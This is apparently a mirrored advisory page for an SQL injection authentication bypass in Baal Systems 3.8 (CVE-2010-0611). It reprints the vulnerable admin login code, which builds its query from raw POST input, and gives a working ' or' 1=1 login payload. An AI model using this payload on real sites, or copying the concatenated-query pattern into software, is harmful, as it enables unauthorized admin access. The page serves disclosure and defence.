Baal Systems <= 3.8 (Auth Bypass) SQL Injection Vulnerability

2010-02-12 / 2010-02-13

Credit: cr4wl3r

Risk: High

Local: No

Remote: Yes

CVE: CVE-2010-0611

CWE: CWE-89

CVSS Base Score: 7.5/10

Impact Subscore: 6.4/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

[+] Baal Systems <= 3.8 (Auth Bypass) SQL Injection Vulnerability
[+] Discovered by cr4wl3r <cr4wl3r[!]linuxmail.org>
[+] Download : http://scripts.ringsworld.com/discussion-boards/baalsystems3-8/
[+] Vuln Code :
[adminlogin.php]
<?php
include("common.php");
if (!empty($_POST['password'])) {
$username = $_POST['username'];
$password = $_POST['password'];
$query = "select * from {$tableprefix}tbluser where username='" . $username . "' and password='" . $password . "' and userrole='admin';";
$result1 = db_query($query);
$rows = db_num_rows($result1);
$row = db_fetch_array($result1);
if ($rows != 0) {
if (session_is_registered("whossession")) {
$_SESSION['who'] = "admin";
$_SESSION['userrole'] = "admin";
$_SESSION['username'] = $username;
$_SESSION['usernum'] = $row["userid"];
header("location:admin.php");
} else {
session_register("whossession");
$_SESSION['who'] = "admin";
$_SESSION['userrole'] = "admin";
$_SESSION['username'] = $username;
$_SESSION['usernum'] = $row["userid"];
header("location:admin.php");
}
} else {
header("location:adminlogin.php?error=yes");
}
} else {
?>
[+] PoC :
[BaalSystems_path]/adminlogin.php
username: ' or' 1=1
Password: ' or' 1=1

References:

http://xforce.iss.net/xforce/xfdb/56147

http://www.securityfocus.com/bid/38139

http://www.exploit-db.com/exploits/11346

http://packetstormsecurity.org/1002-exploits/baalsystems-sql.txt

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Baal Systems <= 3.8 (Auth Bypass) SQL Injection Vulnerability

References:

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.